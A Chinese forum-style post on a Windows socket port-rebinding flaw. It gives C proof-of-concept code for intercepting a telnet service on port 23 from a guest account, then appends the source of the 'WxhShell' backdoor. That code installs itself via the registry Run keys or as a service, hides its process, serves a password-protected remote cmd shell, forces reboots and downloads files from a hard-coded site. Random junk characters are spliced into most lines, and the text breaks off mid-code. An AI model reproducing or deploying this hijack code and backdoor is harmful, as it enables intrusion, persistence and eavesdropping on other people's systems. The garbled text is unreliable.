在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
FvyC$vip s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
J?/NJ-F T!1Np'12zF saddr.sin_family = AF_INET;
W2]%QN=m$ r"W<1Hu saddr.sin_addr.s_addr = htonl(INADDR_ANY);
)&[Zw{6P wpf bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
`,s0^?_ Mi<}q@]e 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
V;(Rg=5 |]'gd)%S\ 这意味着什么?意味着可以进行如下的攻击:
H><!
C 6Tg'9|g 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
5 J
7XVe> BYZllwxwTE 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
@N6KZn|R nnuJY$O;M 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|k<5yj4? (AT)w/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
kPYQcOK8 RY9Ur 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
X<uH [ @#::C@V] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
@5\/L6SRfL fl71{jJ_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
rW[7
_4 )AXa.y #include
2$O6%0 #include
BFPy~5W #include
Wl{wY,u #include
kj@m5`G DWORD WINAPI ClientThread(LPVOID lpParam);
:o_6
int main()
~-BIUZ; {
r1zuc:W1 WORD wVersionRequested;
x?2y^3<5 DWORD ret;
(P 9$Ei0fv WSADATA wsaData;
TB#oauJm, BOOL val;
p;rT#R&6> SOCKADDR_IN saddr;
$Hal] SOCKADDR_IN scaddr;
24I~{Qy int err;
yG:Pg MrB SOCKET s;
"FXT8Qxg SOCKET sc;
'_%`0p1 int caddsize;
=%0r_#F%= HANDLE mt;
X`0`A2
n DWORD tid;
rlSflcK\\( wVersionRequested = MAKEWORD( 2, 2 );
|c:xK{Ik err = WSAStartup( wVersionRequested, &wsaData );
~c|{PZ9U if ( err != 0 ) {
AUwIF/>F(] printf("error!WSAStartup failed!\n");
fHacVjJ return -1;
cB4p.iO
}
e2Df@8> saddr.sin_family = AF_INET;
O^4Ko} )5l9!1j //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
QO3QR/Ww +\~Mx>Cn saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+$D~?sk saddr.sin_port = htons(23);
f/]g@/` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+"D*0gYD {
sRSy++FRF printf("error!socket failed!\n");
*_tJ ; return -1;
Z$ 6yB }
H:`[$
^ val = TRUE;
h7[PU^ m //SO_REUSEADDR选项就是可以实现端口重绑定的
nX-%qc" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
B#K2?Et!t {
<m+$@:cO printf("error!setsockopt failed!\n");
5#$5ct return -1;
av}pT)]\
}
^?gs<-)B //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Cs8e("w //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
;T?4=15c //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
I~NQt^sg p Yaq1_<+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
YJ~3eZQ {
qJLtqv ret=GetLastError();
5Y(f7,JX printf("error!bind failed!\n");
qY%{c-aMA return -1;
9 e0Oj3!B }
ompkDl\E listen(s,2);
IQQWp@w#8 while(1)
"P{T] {
^n8r mh_% caddsize = sizeof(scaddr);
NRZ>03w //接受连接请求
J(%kcueb
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
VU
8~hF if(sc!=INVALID_SOCKET)
%)G]rta# {
P]||Xbbp mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
X00!@
^g if(mt==NULL)
Zv)x-48 {
8Qi@z Jq, printf("Thread Creat Failed!\n");
4O'X+dv^I break;
u7kw/_f }
psZ #^@>mJ }
H| 1O>p& CloseHandle(mt);
xbhU:,o }
Oa|'wh ug closesocket(s);
VJ$UpqVm WSACleanup();
Ee -yP[2
* return 0;
PK|"+I0 }
Ae 3:" DWORD WINAPI ClientThread(LPVOID lpParam)
-A17tC20J1 {
\t
04- SOCKET ss = (SOCKET)lpParam;
#iAEcC0k5 SOCKET sc;
7iBN!"G0 unsigned char buf[4096];
p@+r&Mg%W" SOCKADDR_IN saddr;
a'2^kds long num;
CN, oH4IU DWORD val;
]:vo"{*C DWORD ret;
'vUx4s //如果是隐藏端口应用的话,可以在此处加一些判断
^z\*;
f //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
%wuD4PRK saddr.sin_family = AF_INET;
]EZiPW-uy saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
MUfhk)" saddr.sin_port = htons(23);
OFe?T\dQn if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/htM/pR {
f/6,b&l, printf("error!socket failed!\n");
CDTM<0`% return -1;
]~1Xx:X- }
P\R#!+FgW8 val = 100;
KWH l+pL if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
q:/<^| {
wio}<Y6Xz ret = GetLastError();
_]# ^2S return -1;
zs~v6y@ }
k2cC:5Xf3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K6l{wyMb| {
!+# pGSk ret = GetLastError();
QBI;aG<+b> return -1;
~'<ca<Go| }
&?xZHr` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
>l3iAy!sZ {
j6_tFJT printf("error!socket connect failed!\n");
=xq+r]g6 closesocket(sc);
O^,%V{]6\ closesocket(ss);
O>H'ok
return -1;
CFU'-
#b }
96FS-` while(1)
O W|5IEC {
da/Tms`T //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
yhpeP //如果是嗅探内容的话,可以再此处进行内容分析和记录
gLL8-T[9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
-x?I6>{ num = recv(ss,buf,4096,0);
$+$S}i= if(num>0)
t5Oeb<REz send(sc,buf,num,0);
O.% $oV else if(num==0)
nPU=n[t8O break;
J*} warf& num = recv(sc,buf,4096,0);
s}3`%?,6y if(num>0)
L d;))e send(ss,buf,num,0);
qXw^y else if(num==0)
Ob#d;F break;
TppuEC> }
fT.GYvt` closesocket(ss);
$)O=3dNbo closesocket(sc);
iir]M`A.- return 0 ;
<_N<L\ }
tr t^o <+mYC'p _sGmkJi] ==========================================================
W1T%
Q88 @z-%:J/$ 下边附上一个代码,,WXhSHELL
7(S66 :K)7_]y ==========================================================
#oX8EMqs< XDdF7i} #include "stdafx.h"
J )DFH~p 74p=uQ #include <stdio.h>
5SNa~
kC& #include <string.h>
bk}'wcX<+] #include <windows.h>
p9`!.~[ #include <winsock2.h>
{%b*4x0? #include <winsvc.h>
zv8AvNDK #include <urlmon.h>
[PW\l+i %A^V@0K3 #pragma comment (lib, "Ws2_32.lib")
ac%6eW0# #pragma comment (lib, "urlmon.lib")
7B)m/%>3s 1z5Oi u #define MAX_USER 100 // 最大客户端连接数
FP_q?=~rFs #define BUF_SOCK 200 // sock buffer
qLYz-P'ik #define KEY_BUFF 255 // 输入 buffer
4Nun-(q _/>JM0 #define REBOOT 0 // 重启
#{DX*;1m #define SHUTDOWN 1 // 关机
h7"c_=w+ -/'_XR@1 #define DEF_PORT 5000 // 监听端口
p"UdD L<62-+e` #define REG_LEN 16 // 注册表键长度
_* m<Z;Et #define SVC_LEN 80 // NT服务名长度
l3O!{&~K <1%(%KdN[ // 从dll定义API
9k.5'# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
};Oyv7D+b typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
z*FCd6X typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
aJ/}ID typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
=}D9sT y2{uEbA // wxhshell配置信息
!jTtMx struct WSCFG {
"!w#E6gU int ws_port; // 监听端口
e"D%eFkDW char ws_passstr[REG_LEN]; // 口令
a-bj! Rs int ws_autoins; // 安装标记, 1=yes 0=no
Pb`Uxv char ws_regname[REG_LEN]; // 注册表键名
B8~JUGD char ws_svcname[REG_LEN]; // 服务名
X;&Iu{&= char ws_svcdisp[SVC_LEN]; // 服务显示名
m0Geq. char ws_svcdesc[SVC_LEN]; // 服务描述信息
}nUq=@ej char ws_passmsg[SVC_LEN]; // 密码输入提示信息
SYE+A`a int ws_downexe; // 下载执行标记, 1=yes 0=no
yCvP-?2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?l9j] char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-Is;cbfLj/ j"F?^0aR,Q };
I?&/J4o: 8v }B-cS // default Wxhshell configuration
[. Db56 struct WSCFG wscfg={DEF_PORT,
{)jTq?? "xuhuanlingzhe",
YT`,f*t 1,
{Z,_/@}N "Wxhshell",
.C*mDi)wZ "Wxhshell",
S 6CI+W "WxhShell Service",
-^aJ}[uaI "Wrsky Windows CmdShell Service",
[o"<DP6w "Please Input Your Password: ",
?:$\
t?e^ 1,
, UsY0YC "
http://www.wrsky.com/wxhshell.exe",
2<FEn$n[ "Wxhshell.exe"
2z9s$tp };
{ MV,>T_ ?Qxf~,F // 消息定义模块
F1)5"7f char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
r@a]fTf char *msg_ws_prompt="\n\r? for help\n\r#>";
YO'aX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
bEKh U\@=J char *msg_ws_ext="\n\rExit.";
%b[>eIJU# char *msg_ws_end="\n\rQuit.";
2{Y~jYt{h char *msg_ws_boot="\n\rReboot...";
z?^oy. char *msg_ws_poff="\n\rShutdown...";
re~T,PPM char *msg_ws_down="\n\rSave to ";
m{;j
r< p9>1a j2a char *msg_ws_err="\n\rErr!";
hp1+9vEN char *msg_ws_ok="\n\rOK!";
-|GKtZ]} uCr :+"C char ExeFile[MAX_PATH];
\(A A|; int nUser = 0;
(Z0_e&=* HANDLE handles[MAX_USER];
@jxP3:s int OsIsNt;
Rb!y(&>v l0 8vF$k|d SERVICE_STATUS serviceStatus;
02_+{vk! SERVICE_STATUS_HANDLE hServiceStatusHandle;
bu9.HvT' DL*vF>v // 函数声明
Kl,NL]]4*5 int Install(void);
U`aB&[=$ int Uninstall(void);
k2@]nW"S int DownloadFile(char *sURL, SOCKET wsh);
'u:-~nSX) int Boot(int flag);
|A/H*J, void HideProc(void);
N;']&f int GetOsVer(void);
njc-=o int Wxhshell(SOCKET wsl);
RR+{uSO,t void TalkWithClient(void *cs);
B[k=6EU8k int CmdShell(SOCKET sock);
,$} xPC int StartFromService(void);
]OtnekkK$ int StartWxhshell(LPSTR lpCmdLine);
]"&](e6* Mg~4) DW] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
yQ)&u+r VOID WINAPI NTServiceHandler( DWORD fdwControl );
A;<wv>T gYCr,-_i // 数据结构和表定义
?<`oKBn SERVICE_TABLE_ENTRY DispatchTable[] =
:h(`eC {
)q66^%;S {wscfg.ws_svcname, NTServiceMain},
35Yf,@VO {NULL, NULL}
nwp(% fBo };
wFX9F3m .g3=L // 自我安装
&7i&"TNptP int Install(void)
2t4\L3 {
Mf2F LrAh char svExeFile[MAX_PATH];
q3<kr<SP HKEY key;
En:>c strcpy(svExeFile,ExeFile);
6`@b@Kd F"bz<{ // 如果是win9x系统,修改注册表设为自启动
=?c""~7 if(!OsIsNt) {
hrm<!uKn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
au04F]-|j8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=W &Mt RegCloseKey(key);
V2!0),]B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!~&&&85 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xeL"FzF:V RegCloseKey(key);
S=0DQ19 return 0;
*s,[Uy![ }
lLp,sNAj }
RC/45:hZZ }
(6.uNLr else {
^?$,sS
;Q nTv}/M& // 如果是NT以上系统,安装为系统服务
'zM=[#!B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
LFI#wGhXVk if (schSCManager!=0)
l>MDCqV {
HhL;64OYa SC_HANDLE schService = CreateService
{#ynN`tLyF (
cT(6>@9@ schSCManager,
R{fJ"Q5' wscfg.ws_svcname,
jQ,Vs=*H wscfg.ws_svcdisp,
Kxch.$hc, SERVICE_ALL_ACCESS,
V"Z8-u SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
g@37t @I SERVICE_AUTO_START,
<|3%}? SERVICE_ERROR_NORMAL,
P`ou:M{8 svExeFile,
.%s
U)$bH NULL,
=#/Kg_RKL NULL,
m`9nDiV NULL,
f4fBUZ^ A NULL,
4Wp5[(bg NULL
'L7qf'RV );
SIV !8mz if (schService!=0)
vjq2(I)u {
":_II[FPY CloseServiceHandle(schService);
IH;sVT$M CloseServiceHandle(schSCManager);
p"#\E0GM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
`0N7G c strcat(svExeFile,wscfg.ws_svcname);
#n'.a1R if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`XhH{*Q"X RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
qx'0(q2Ii( RegCloseKey(key);
c7jmzo return 0;
>;^/B R= }
(Kwqa"Hk4{ }
~g\~x CloseServiceHandle(schSCManager);
rNR7}o~ qo }
Rh ^(91d }
H.m]Dm,z !JDr58 return 1;
;U|(rM; }
$uZmIu9Bi+ `R$i|,9) // 自我卸载
Vw1>d+<~-) int Uninstall(void)
}! EVf {
dgjK\pH`h HKEY key;
Cjx4vP ;NR|Hi] if(!OsIsNt) {
A<ds+0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
uYMn VE" RegDeleteValue(key,wscfg.ws_regname);
]*#i_dho7 RegCloseKey(key);
>!t3~q1Cn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_6nAxm&x`% RegDeleteValue(key,wscfg.ws_regname);
u<Kowt<ci RegCloseKey(key);
UPI- j#yc return 0;
"5&"Ij,/ }
^o{{kju }
/@F'f@; }
x%l(0K else {
"esuLQC J5G<Y*q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
'9zW#b if (schSCManager!=0)
E.h {
0&UG=q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
PjeI&@ if (schService!=0)
|n/;x$Cb {
E{<#h9=> if(DeleteService(schService)!=0) {
t,?,T~#9 CloseServiceHandle(schService);
q<
XFw-Pv CloseServiceHandle(schSCManager);
\ZZ6r^99 return 0;
5c` ;~ }
. vb##D CloseServiceHandle(schService);
-N*[f9EJB }
$6a9<&LP_ CloseServiceHandle(schSCManager);
Gr\ ]6 }
A?H#bRAs }
hSm?Z!+ Hz.i $L0} return 1;
t1Fqq4wRi }
xoKK{&J Byc;r-Q5V // 从指定url下载文件
J'}+0mln int DownloadFile(char *sURL, SOCKET wsh)
m$p}cok#+S {
rLsY_7! HRESULT hr;
E`o_R=% char seps[]= "/";
/_0B5,6R char *token;
iT}>a30]B char *file;
R iLl\S# char myURL[MAX_PATH];
'#7k9\ char myFILE[MAX_PATH];
QPVi& *8_ N4vcd=uG# strcpy(myURL,sURL);
EB}B75)x token=strtok(myURL,seps);
a;xeHbE while(token!=NULL)
E7L>5z {
\>6*U r file=token;
,)1C"' token=strtok(NULL,seps);
SE+hB }
{Dpsr` & ',r` )9o GetCurrentDirectory(MAX_PATH,myFILE);
LP"g(D2'n strcat(myFILE, "\\");
UjI./"]O strcat(myFILE, file);
b* n3Fej send(wsh,myFILE,strlen(myFILE),0);
p<
7rF_?W0 send(wsh,"...",3,0);
4Hz3KKu hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<D.E.^Y if(hr==S_OK)
!-lI<$S: return 0;
N;3!oo4 else
sfX~X/ return 1;
uOA/r@7I}S k+9F;p7 }
g>VtPS5 y y||
n9 // 系统电源模块
9i\RdJv. int Boot(int flag)
7Mh'x:p {
28"1ONs3 HANDLE hToken;
VZi1b0k1. TOKEN_PRIVILEGES tkp;
p& _Z}Wv JTKS5r7? if(OsIsNt) {
05 6K) E OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
5nx*D" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
epsRv&LfC tkp.PrivilegeCount = 1;
KNeVSZT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
h>`[p,o AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
H1k)ya x4_ if(flag==REBOOT) {
D,cD]tB2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
v@{y} return 0;
rN&fFI }
^aB;Oo else {
g$uiwqNA% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
wO,qFY return 0;
+S~ u ,= }
{ 4j<X5V }
:zU4K=kR else {
~!({Unt+' if(flag==REBOOT) {
8WytvwB} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
vc: kY return 0;
eQ'E`S_d }
>Lcu else {
? X8`+`nh if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
a?y ucA return 0;
_/:- -Z }
&u:U"j }
spA|[\Nl 96\FJHtZ return 1;
$*{,Z<|2 }
;l;jTb ^l fQ 9af)d // win9x进程隐藏模块
)zWu\JRp void HideProc(void)
(Mfqzy {
TIp\- .uA
O.< HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%`$bQU if ( hKernel != NULL )
>J9Qr#=H2 {
E/H9# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
0")_% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
L"YQji! FreeLibrary(hKernel);
<W!T+sMQj }
>7WT4l)7!b iX?j "=! return;
.Yk}iHcW. }
4M"'B A< Ue9d0#9 // 获取操作系统版本
|}77'w : int GetOsVer(void)
'@ 24<T] {
w?D= OSVERSIONINFO winfo;
A@3'I ; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
'cCM[P+ GetVersionEx(&winfo);
ar@,SKU'K if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
~[!Tpq5 return 1;
MTwzL<@$ else
<RxxGD return 0;
N n_b }
t]sk[ }D1?Z7p // 客户端句柄模块
HxR5&o int Wxhshell(SOCKET wsl)
F~v0CBcAL {
F4=X(P_6 SOCKET wsh;
Ne9VRM
P struct sockaddr_in client;
c*owP DWORD myID;
g#P]72TQ |+h x2?Nv while(nUser<MAX_USER)
k6 OO\= {
&LV'"2ng8 int nSize=sizeof(client);
Z&@P< wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
}Q[U4G if(wsh==INVALID_SOCKET) return 1;
5#z7Hj&w c
CjN8< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=8vwaJ if(handles[nUser]==0)
O4nA?bA closesocket(wsh);
fm#7}Y else
D8k >f ] nUser++;
uaD+G:{[ }
aAcQmq TT WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
yodhDSO5i UChLWf|' return 0;
*r4FOA%P }
>]B_+r0m^
2X`t&zg // 关闭 socket
7yG%E void CloseIt(SOCKET wsh)
rXSw@pqZ& {
hB'rkjt closesocket(wsh);
?RE"<L nUser--;
fda2dY; ExitThread(0);
J^WX^".E }
dR s\e(H' #- L < // 客户端请求句柄
'QpDx&~QP void TalkWithClient(void *cs)
87pu\(,' {
HII@Ed f? uEsF 8 SOCKET wsh=(SOCKET)cs;
6Po{tKU char pwd[SVC_LEN];
asW
W@E char cmd[KEY_BUFF];
{#t7lV'4 char chr[1];
t.!?"kP"c int i,j;
R<3 -!p1v iQ;lvOja while (nUser < MAX_USER) {
s_Z5M2o 1q
ZnyJ if(wscfg.ws_passstr) {
0#5&* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ZXj*Vu$_4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-f'&JwE0= //ZeroMemory(pwd,KEY_BUFF);
[:izej(\ i=0;
v)vogtAQa while(i<SVC_LEN) {
(\'lV8}U E.B6u, Te // 设置超时
(Ms0pm-#t fd_set FdRead;
75h]#k9\ struct timeval TimeOut;
?nJv f FD_ZERO(&FdRead);
TPj,4&| FD_SET(wsh,&FdRead);
8XCT[X TimeOut.tv_sec=8;
ZP:+ '\&J TimeOut.tv_usec=0;
D3O)Tj@:}( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
^]/V-!j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
'8^cl:X iYW<qgz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`/G9*tIR8g pwd
=chr[0]; -lfbn=3
if(chr[0]==0xd || chr[0]==0xa) { {rF9[S"h
pwd=0; }_}LaEYAo
break; c?Zi/7
} >2'A~?%
i++; (nkiuCO
} N7q6pBA"E
B90fUK2g
// 如果是非法用户,关闭 socket {\h:k\k
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &`'@}o>2
} 'v(b^x<ZS
wgQx.8 h>
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :VR%I;g ;
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f]Zj"Tt-
%xXb5aY
while(1) { *aYuuRx
6ZXRb
ZeroMemory(cmd,KEY_BUFF); a!j{A?7Kw.
Z0 c|;
// 自动支持客户端 telnet标准 ;t/KF"
j=0; $F/xv&t
while(j<KEY_BUFF) {
PmE8O
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <pFbm
cmd[j]=chr[0]; xjYH[PgfX
if(chr[0]==0xa || chr[0]==0xd) { y?iW^>|?L=
cmd[j]=0; !@h)3f]`1G
break; s?9`dv}P
} /.UISArH
j++; S2
-J1x2N
} (V}?y:)
Q0XSQ Ol
// 下载文件 xd`\Ai
if(strstr(cmd,"http://")) { 7<*g'6JG[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); |lIgvHgg
if(DownloadFile(cmd,wsh)) H:q;IYE+a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U]M5&R=?
else a3[,3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eh *u6K)Z
} R,l*@3Q
else { ?%T]V+40
E]pDp
/D
switch(cmd[0]) { j^/^PUR
z>*\nomOn=
// 帮助 TQpR'
case '?': { F\<{:wu
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]0")iY_
break; EO/TuKt
} ,H/BW`rL]#
// 安装 N.V5>2
case 'i': { $b) k
if(Install()) ] $F%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uOx"oR|
else cU "uKR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wk2Ff*&
break; &!>.)I`
} <Ug1g0.
// 卸载 =>e>
r~cW
case 'r': { +[V.yY/t|>
if(Uninstall()) .sZ"|j9m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wm!cjGK
else \5#eBJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IRsyy\[kp8
break; cOdgBi
} f5*hOzKG6
// 显示 wxhshell 所在路径 -S%Uw
case 'p': { RV@mAw.T
char svExeFile[MAX_PATH]; 7Y
4!
strcpy(svExeFile,"\n\r"); G#. q%Up
strcat(svExeFile,ExeFile); (Wn^~-`=+
send(wsh,svExeFile,strlen(svExeFile),0); Xz'o<S
break; p-6T,')
} G[zVGqk
// 重启 G4EuW *~
case 'b': { e'3y^Vg
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K{iC'^wP
if(Boot(REBOOT)) %\1W0%w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O~5*X f
else { ,UxAHCR~9
closesocket(wsh); r:t3Kf`+E-
ExitThread(0); > q8)~
} riSgb=7q9
break; M
~6$kT
} /b."d\
// 关机 3oPyh $*
case 'd': { `dgZ `#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fjqd16{Q
if(Boot(SHUTDOWN)) O]?PC^GGY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !)EYM&:Y
else { % 3<7HY]~
closesocket(wsh); 15kkf~Z<t
ExitThread(0); ,a":/ /[
} 3
t+1M
break; V?n=yg
} 7J|nqr`>t
// 获取shell ]4,eCT
case 's': { z7HM/<WY
CmdShell(wsh); ugs9>`fF&
closesocket(wsh); L1QDA}6?_Y
ExitThread(0); wu0q.]
break; O0sLcuT$
} [I(
Yn
// 退出 ;IR.6k$;
case 'x': { ,b t
j6hg
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rb]?"lizi
CloseIt(wsh); |}o3EX
break; x-~=@oiv
} Am"&ApK
// 离开 5wC,:c[H7
case 'q': { }`+9ie7]/
send(wsh,msg_ws_end,strlen(msg_ws_end),0); -7VQ{nC
closesocket(wsh); 2CV? cm
WSACleanup(); yg82a7D
exit(1); 4i+H(d n
break; jaQH1^~l/-
} 1;~|[C
} HnKXO
} QVkrhwp
e. R9:
// 提示信息 ggy9euWV
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CsN^u H
} cT
nC
} V}Ce3wgvA
lLS7K8;4W
return; a:F\4x=
} !iW>xo
8Y/1+-
// shell模块句柄 (P-$tHt
int CmdShell(SOCKET sock) y N,grU(
{ @iN"]GFjS
STARTUPINFO si; -]Q\G
ZeroMemory(&si,sizeof(si)); $#E!/vVwD7
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N{uVh;_
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; plM:7#eA
PROCESS_INFORMATION ProcessInfo; ,OFNV|S$
char cmdline[]="cmd"; yV*4|EkvW
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m"wP]OQH*+
return 0; 5 &0qr$
} .Gb!mG
Y;kiU
// 自身启动模式 Yw_!40`
int StartFromService(void) H^M>(kT#&
{ @]Lu"h#u=
typedef struct 1o?uf,H7O
{ \85~~v@
DWORD ExitStatus; rl]K:8*
DWORD PebBaseAddress; 7 4]qz,
DWORD AffinityMask; Zr[B*1,ZV
DWORD BasePriority; `Ay:;I
